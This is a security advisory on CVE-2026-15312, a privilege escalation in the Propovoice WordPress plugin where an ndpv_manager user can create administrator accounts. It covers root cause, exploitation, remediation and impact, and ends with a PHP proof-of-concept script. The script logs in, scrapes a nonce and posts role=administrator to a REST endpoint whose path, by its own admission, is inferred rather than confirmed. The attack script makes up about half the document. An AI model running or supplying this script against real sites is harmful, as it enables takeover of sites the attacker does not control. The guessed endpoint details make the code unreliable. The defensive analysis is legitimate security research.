Atomic Edge analysis of CVE-2026-15312 (metadata-based): This vulnerability is a privilege escalation flaw in the Propovoice: All-in-One Client Management System plugin for WordPress, affecting versions up to and including 1.7.8. The issue allows authenticated attackers holding the `ndpv_manager` capability, a sub-administrator CRM role, to create new WordPress user accounts with the `administrator` role, leading to full site compromise. The CVSS score is 8.8 (High), with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, reflecting network-based exploitation requiring low-privilege authentication but no user interaction.
Root Cause: The vulnerability stems from the `create()` function of a REST endpoint, which fails to validate the user-supplied `role` parameter against an allowlist of permitted roles. It also omits a `promote_users` capability check before passing the sanitized value directly to `WP_User::set_role()`. This is a classic improper privilege management flaw (CWE-269). The description confirms the absence of role validation and capability check, and it confirms that the `role` parameter is sanitized but then used to set the new user’s role directly. Atomic Edge analysis infers from the CWE and WordPress conventions that the endpoint likely follows the plugin’s REST route structure, such as `/wp-json/propovoice/v1/` with a resource like `/create-user`, and that the vulnerable function accepts parameters like `user_email`, `user_pass`, `user_login`, and `role`. No source code diff is available, so the exact endpoint path and parameter names are inferred but the core vulnerability is confirmed by the description.
Exploitation: An authenticated attacker with `ndpv_manager` privileges can craft a POST request to the vulnerable REST endpoint, supplying user creation details and setting the `role` parameter to `administrator`. The request must include a valid nonce if the plugin validates nonces, but the description indicates no capability check occurs after authentication. A typical payload would include `user_login`, `user_email`, `user_pass`, and `role=administrator`. The attacker can then log in with the newly created administrator account, gaining full control over the WordPress installation. Since the endpoint is exposed via REST, the attacker can use standard HTTP requests without needing CSRF tokens if the plugin does not enforce them on REST routes.
Remediation: The fix requires adding proper authorization checks and role validation. Specifically, the `create()` function must verify that the current user has the `promote_users` capability before allowing user creation with arbitrary roles. Additionally, the `role` parameter must be validated against an allowlist of roles that the current user is permitted to assign, typically by using `current_user_can()` checks or restricting the role to a predefined set. The plugin should also implement a nonce or permission callback for the REST route to ensure only authorized requests reach the handler. Atomic Edge analysis recommends applying a virtual patch immediately since no patched version is currently available, and updating the plugin as soon as a fixed version is released.
Impact: Successful exploitation results in full privilege escalation, allowing the attacker to create an administrator account. This leads to complete compromise of the WordPress site, including the ability to upload malicious plugins or themes, modify site content, access sensitive data, and potentially execute arbitrary code on the server. Given the high severity and the low complexity of exploitation, this vulnerability poses a significant risk to any WordPress site using the affected plugin version, especially those with multiple managers or users holding the `ndpv_manager` role.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-15312 - Propovoice: All-in-One Client Management System <= 1.7.8 - Privilege Escalation via 'role' Parameter
// Assumptions: The vulnerable REST endpoint is accessible to authenticated users with ndpv_manager role.
// The endpoint likely follows the pattern /wp-json/propovoice/v1/create-user, but this is inferred from the description.
// The script uses a valid session cookie and nonce if required; adjust the nonce retrieval if needed.
$target_url = 'https://example.com'; // Change this to the target WordPress site
$username = 'attacker'; // WordPress username with ndpv_manager capability
$password = 'attacker_password'; // Password for the above user
// New admin account details
$new_username = 'owned_admin';
$new_email = 'owned_admin@example.com';
$new_password = 'StrongPassw0rd!';
// Step 1: Authenticate to get cookies. This example assumes wp-login.php handles standard authentication.
$cookies = tempnam(sys_get_temp_dir(), 'cookies');
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init($target_url . '/wp-login.php');
curl_setopt_array($ch, array(
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($login_data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => $cookies,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_HEADER => true
));
curl_exec($ch);
curl_close($ch);
// Step 2: Retrieve a nonce for the REST API. This assumes a nonce is required; if not, the admin-ajax request below may be unnecessary.
// Look for a nonce field in the page source. Adjust the regex to match the actual nonce identifier used by Propovoice.
$ch = curl_init($target_url . '/wp-admin/');
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => $cookies,
CURLOPT_HEADER => true
));
$response = curl_exec($ch);
curl_close($ch);
$nonce = '';
if (preg_match('/propovoice_nonce.*?value="([^"]+)"/', $response, $match)) {
$nonce = $match[1];
} else {
// If nonce not found, assume nonce is not required and continue
$nonce = '';
}
// Step 3: Exploit the vulnerable REST endpoint to create an admin user.
// The endpoint path is inferred from common REST patterns. Adjust if the actual route differs.
$rest_url = rtrim($target_url, '/') . '/wp-json/propovoice/v1/create-user';
$payload = array(
'user_login' => $new_username,
'user_email' => $new_email,
'user_pass' => $new_password,
'role' => 'administrator',
'nonce' => $nonce // if nonce required
);
$ch = curl_init($rest_url);
curl_setopt_array($ch, array(
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode($payload),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => $cookies,
CURLOPT_HTTPHEADER => array('Content-Type: application/json')
));
$response = curl_exec($ch);
curl_close($ch);
// Step 4: Check if the request succeeded. Look for a success indicator in the response.
if (strpos($response, '"success":true') !== false || strpos($response, 'created') !== false || strpos($response, 'success') !== false) {
echo "[+] Privilege escalation successful. New admin account created: {$new_username} / {$new_password}n";
} else {
echo "[!] Exploitation may have failed. Check the response: n" . $response . "n";
}
// Clean up
unlink($cookies);
?>